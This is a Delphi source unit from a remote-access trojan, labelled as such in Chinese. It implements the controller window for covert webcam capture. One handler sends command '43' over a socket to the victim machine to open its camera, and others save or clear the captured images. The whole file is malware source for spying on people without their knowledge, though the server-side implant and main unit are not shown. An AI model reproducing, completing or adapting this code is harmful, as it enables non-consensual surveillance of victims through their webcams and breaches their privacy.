unit10.pas

由于该木马有三个服务端可以选择生成

unit Unit10;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes,winsock, Graphics, Controls, Forms,
  Dialogs, ComCtrls, Menus, ExtCtrls, StdCtrls;

type
  TForm10 = class(TForm)
    PopupMenu1: TPopupMenu;
    N1: TMenuItem;
    N2: TMenuItem;
    StatusBar1: TStatusBar;
    Edit1: TEdit;
    Image1: TImage;
    N3: TMenuItem;
    SaveDialog1: TSaveDialog;
    StatusBar2: TStatusBar;
    Edit2: TEdit;
    Edit3: TEdit;
    procedure N1Click(Sender: TObject);
    procedure N3Click(Sender: TObject);
    procedure N2Click(Sender: TObject);
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form10: TForm10;

implementation

uses untMain;

{$R *.dfm}

procedure TForm10.N1Click(Sender: TObject);
var
 f:string;
 sock:integer;
begin
 edit2.text:=extractfilepath(paramstr(0))+'webcam1.bmp';
 edit3.text:=extractfilepath(paramstr(0))+'webcam.bmp';
 deletefile(pchar(edit2.text));
 deletefile(pchar(edit3.text));
 image1.Picture:=nil;
 form10.N1.Enabled :=false;
 sock:=strtoint(statusbar2.Panels[0].text);
 f:='43';
 send(sock,f[1],2,0);
 form10.StatusBar1.Panels[0].Text :='正在打开远程摄像头... ';
end;
procedure TForm10.N3Click(Sender: TObject);
begin
 image1.Picture :=nil;
 form10.StatusBar1.Panels[0].Text :='图像清空完成.';
end;

procedure TForm10.N2Click(Sender: TObject);
begin
 if savedialog1.Execute then
 if copyfile(pchar(edit3.text),pchar(savedialog1.filename),false) then
 form10.StatusBar1.Panels[0].Text :='图像文件保存成功.'
 else
 form10.StatusBar1.Panels[0].Text :='图像文件保存失败.';
end;

procedure TForm10.FormClose(Sender: TObject; var Action: TCloseAction);
begin
 frmmain.edit2.text:='6';
end;

end.